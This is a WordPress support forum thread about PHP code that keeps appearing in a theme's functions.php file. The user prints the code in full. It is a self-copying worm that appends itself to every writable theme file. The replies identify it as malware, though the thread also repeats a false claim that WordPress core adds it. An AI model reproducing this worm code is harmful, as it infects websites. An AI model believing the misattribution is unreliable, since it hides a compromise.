Code getting automatically written to Functions.php

Here is one of the functions

<?php
function _checkactive_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_getall_widgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$separar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $separar . "\n" .$widget);fclose($f);
					$output .= ($showfullstop && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}

Hi, there. That’s a worm infecting your themes files.You need to start working your way through these resources:
https://codex.www.ads-software.com/FAQ_My_site_was_hacked
https://www.ads-software.com/support/topic/268083#post-1065779
https://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
https://ottopress.com/2009/hacked-wordpress-backdoors/
Additional Resources:
https://sitecheck.sucuri.net/scanner/
https://www.unmaskparasites.com/
https://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html

It is not a worm etc. This is a PHP 5.4 issue. I updated my local machine from php 5.3 to 5.4 (as is with my hosting company) and I get these errors.

Can somebody please advise.

Fatal error: Cannot redeclare _checkactive_widget() (previously declared in wp-content\themes\trim-child\functions.php:12) in themes\Trim\functions.php on line 356

Looks like you cannot re-use _checkactive_widget() in your child theme. I’m sorry but as the parent is a commercial theme, you need to seek further support from the theme’s vendors.
https://www.elegantthemes.com/forum/

Hi

I get the SAME thing with ANY theme I use., including twentlyeleven. It is not a theme issue. It is a WP/PHP 5.4 issue.

I have NO plugins installed.

MY functions.php file is empty or will only have one or two functions in that I use to have when using php 5.3. i.e. nothing has changed except PHP version.

Then popper is correct. Your site has been hacked.

So both my local machine (which has nothing on but a “clean” copy of WP no plugins) and my hosting has been hacked?

I have checked for all this and no signs of any hacking.

Steps:

1. Installed xampp-win32-1.8.0-usb-lite-beta13
2. New DB
3. New Copy of WP
4. CReated a child theme (style.css and 1x functions.php (NO CODE)
5. Activated Child theme

bang, and functions.php contains the code above.

* NO PLUGINS installed/activated nothing.
* No other themes etc nothing.

You guys still convinced it is a bug?

There is absolutely nothing in WordPress core that writes to a theme file. Nor should a theme write anything to one of its own files – let alone to files in other themes. The most likely cause is a worm or virus. and, yes, if your remote server was infected and you then copied something from it to your local server (or vice versa), then both could now be infected.

Yes, this behaves like a worm. Also, the code you posted is pretty wormy.

I went through the pains of trying to figure this all out.

Virus/Worm spoke with ISP etc, NOTHING.

Then I found I just needed to add this line of code to the functions.php file and all is well.

if (!function_exists('_checkactive_widgets')) {
	// do nothing
}

Now, is this definitely not a WordPress issue?

The following is from this link

https://museumthemes.com/wordpress/fixed-redeclare-checkactivewidgets-error-wordpress-child-themes/

“WordPress will add the check for widgets to your functions.php (if it exists) no matter what unless you explicitly tell it not to. If you really wanted to, you could change the permissions of your functions.php and make it read-only, although I don’t know off the top of my head how that might affect the functionality of your theme. If there is no functions.php in your child theme, you don’t need to worry, but if you’re going to add your own custom functions (and, let’s face it, that’s probably 99% of the reason we want to build child themes, right?), you’ll need to add some method for handling WordPress automatically trying to add in the active widgets check. Based on what information they have in the Codex on Child Themes, the most correct way of dealing with this issue is just to say “if this function exists already, don’t do anything” and that will prevent WordPress from duplicating your code.”

Then I found I just needed to add this line of code to the functions.php file and all is well.

…

Now, is this definitely not a WordPress issue?

No, it’s definitively not a WordPress issue.

That’s just good coding practice. You should check if a function exists before you use it especially if it’s not a built in function.

Site is clean, 3 plugins, 2 themes. I cannot locate a function (SEARCH in all files for _checkactive_widgets ) throughout the website.

This conversation sure has gotten derailed. Let’s see if we can bring it back. ??

I have this weird situation whereby code gets written to my child themes, function.php.

From your posts, it’s not really clear if code is actually being added but if any files are being updated and it’s not you that’s updating them, then your site is hacked. Plain and simple, no if, ands, or buts.

See above for steps to remedy that.

I am using Trim theme by Elegant Themes. I created a child theme.

Regarding that link you posted just above: as Esmi indicated you really want to speak to your theme vendor about how to child one of their themes.

https://www.elegantthemes.com/forum/

https://codex.www.ads-software.com/Child_Themes

The child theme’s functions.php file gets executed before the parent theme does. If you want to use a function from the parent theme then you either need to defined it first (and possibly break he parent theme’s functions.php if it’s not prepared for that) or figure out a way to filter that function via a queued up filter or action.

By queuing up the filter or action late enough then it will happen after the parent functions.php file is ran and all is right in the world. That’s not a trivial thing to do if you don’t know how, and not all parent themes make that doable.

It looks like you’re trying to use a parent theme function in your child theme from a commercial parent theme. If that’s the case, then use the vendor for support. It’s part of what you paid for.